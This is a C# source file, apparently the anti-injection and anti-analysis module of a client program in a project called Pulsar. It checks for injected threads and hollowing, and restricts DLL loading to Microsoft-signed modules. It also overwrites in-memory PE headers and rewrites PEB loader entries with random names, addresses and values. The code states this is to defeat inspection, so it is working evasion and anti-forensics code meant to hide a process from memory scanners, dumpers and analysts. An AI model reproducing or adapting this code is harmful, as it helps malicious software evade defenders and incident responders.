using Pulsar.Client.Anti.Helper; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using static Pulsar.Client.Anti.Helper.Structs; namespace Pulsar.Client.Anti.Injection { public static class Spoofs { public const int BaseAddress = 1 << 0; public const int ModuleName = 1 << 1; public const int AddressOfEntryPoint = 1 << 2; public const int SizeOfImage = 1 << 3; public const int NumberOfSections = 1 << 4; public const int ImageMagic = 1 << 5; public const int NotExecutableNorDll = 1 << 6; public const int PESignature = 1 << 7; public const int ExecutableSectionName = 1 << 8; public const int ExecutableSectionRawSize = 1 << 9; public const int ExecutableSectionRawPointer = 1 << 10; public const int ClearExecutableSectionCharacteristics = 1 << 11; public const int ExecutableSectionVirtualSize = 1 << 12; } public class AntiInjection { #region WinApi [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetModuleHandle(string lib); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); [DllImport("kernelbase.dll", SetLastError = true)] public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength); #endregion /// /// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded. /// /// Returns "Success" if the policy was set successfully, otherwise "Failed". public static string SetDllLoadPolicy() { Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY { MicrosoftSignedOnly = 1 }; if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy))) return "Success"; return "Failed"; } /// /// Detects if an address is in range inside modules or not. /// /// The address to check for. /// Returns true if the address is in no module, otherwise false. private static bool IsAddressInRange(IntPtr Address) { foreach (ProcessModule module in Process.GetCurrentProcess().Modules) { IntPtr Base = module.BaseAddress; IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize); if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64()) { return true; } } return false; } /// /// Detects if an address is in range inside modules or not. /// /// Specifies whether we use syscalls for the check or not. /// Check if the threads start address is within modules range or not. /// Returns true if no thread is injected, otherwise false. public static bool CheckInjectedThreads() { uint MEM_IMAGE = 0x1000000; uint MEM_COMMIT = 0x1000; int ThreadQuerySetWin32StartAddress = 9; uint THREAD_QUERY_INFORMATION = 0x0040; int PID = Process.GetCurrentProcess().Id; foreach (ProcessThread thread in Process.GetCurrentProcess().Threads) { CLIENT_ID CI = new CLIENT_ID { UniqueProcess = (IntPtr)PID, UniqueThread = (IntPtr)thread.Id }; OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES { Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, ObjectName = IntPtr.Zero, Attributes = 0, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; IntPtr hThread = IntPtr.Zero; uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); if (Status == 0 || hThread != IntPtr.Zero) { IntPtr StartAddress = IntPtr.Zero; int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero); Utils.CloseHandle(hThread); if (QueryStatus == 0) { MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION(); if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _)) { if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT) { return true; } } } } } return false; } /// /// Generate a random module name. /// /// the random module name. private static string GenerateRandomString() { string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; Random random = new Random(); int RandomLength = random.Next(6, 32); char[] NewModule = new char[RandomLength]; for (int i = 0; i < RandomLength; i++) { NewModule[i] = Letters[random.Next(Letters.Length)]; } return new string(NewModule); } private static bool IsFlagsSet(int SpoofOptions, int[] spoofs) { foreach (int spoofa in spoofs) { if ((SpoofOptions & spoofa) == spoofa) return true; } return false; } private static bool IsPE_FlagsSet(int SpoofOptions) { int[] spoofs = { Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize, Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic, Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize }; return IsFlagsSet(SpoofOptions, spoofs); } /// /// Changes the module information at runtime to avoid modification/lookups. /// /// The module name which we will change it's information. if left null, we get the main module of the process. /// The spoofing options to apply. /// Returns true if successfully changed the module info, otherwise false. public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions) { try { string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName; if (string.IsNullOrEmpty(FinalModuleName)) return false; IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName); if (hModule == IntPtr.Zero) return false; string Fake = $"{GenerateRandomString()}.dll"; PEB Peb = Utils.GetPEB(); _PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr); IntPtr f = Ldr.InMemoryOrderModuleList.Flink; Random RandGen = new Random(); for (int count = 0; count < 256 && f != IntPtr.Zero; count++) { _LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f); string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer); if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName) { if (IsPE_FlagsSet(SpoofOptions)) { int[] SectionSpoof = { Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer, Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize }; IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(hModule); IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew); if (IntPtr.Size == 8) { IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) { ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; ushort IMAGE_FILE_DLL = 0x2000; NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; } if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) NtHeadersStruct.Signature = 0x4D5A0000; if (IsFlagsSet(SpoofOptions, SectionSpoof)) { IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now IntPtr pSectionHeader = pSectionHeaders; int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); uint IMAGE_SCN_CNT_CODE = 0x00000020; if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) { if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) SectionHeader.Characteristics = 0; if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); break; } pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); } } Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); } else { IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure(pNtHeaders); if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint) NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000); if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections) NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99); if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic) NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage) NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000)); if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll) { ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; ushort IMAGE_FILE_DLL = 0x2000; NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE; NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL; } if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature) NtHeadersStruct.Signature = 0x4D5A0000; if (IsFlagsSet(SpoofOptions, SectionSpoof)) { IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now IntPtr pSectionHeader = pSectionHeaders; int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure(pSectionHeader); uint IMAGE_SCN_CNT_CODE = 0x00000020; if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE) { if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName) SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}"); if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer) SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize) SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue); if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics) SectionHeader.Characteristics = 0; if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize) SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000); Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true); break; } pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize); } } Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true); } } if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress) { TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000); } if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName) { IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake); TableEntry.FullDllName.Buffer = FakeDllBuffer; TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2); TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2); } Utils.WriteStructToPtr(TableEntry, f, true, true); return true; } f = TableEntry.InLoadOrderLinks.Flink; } } catch { return false; } return false; } /// /// Changes CLR Module ImageMagic to prevent critical info lookups. /// /// Returns true if successful, otherwise false. public static bool ChangeCLRModuleImageMagic() { string CLR = Utils.GetCurrentCLRModuleName(); if (!string.IsNullOrEmpty(CLR)) { return ChangeModuleInfo(CLR, Spoofs.ImageMagic); } return false; } /// /// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing). /// /// Returns true if the ImageBaseAddress is suspicious, otherwise false. public static bool CheckForSuspiciousBaseAddress() { try { PEB Peb = Utils.GetPEB(); if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress) return true; } catch { } return false; } } }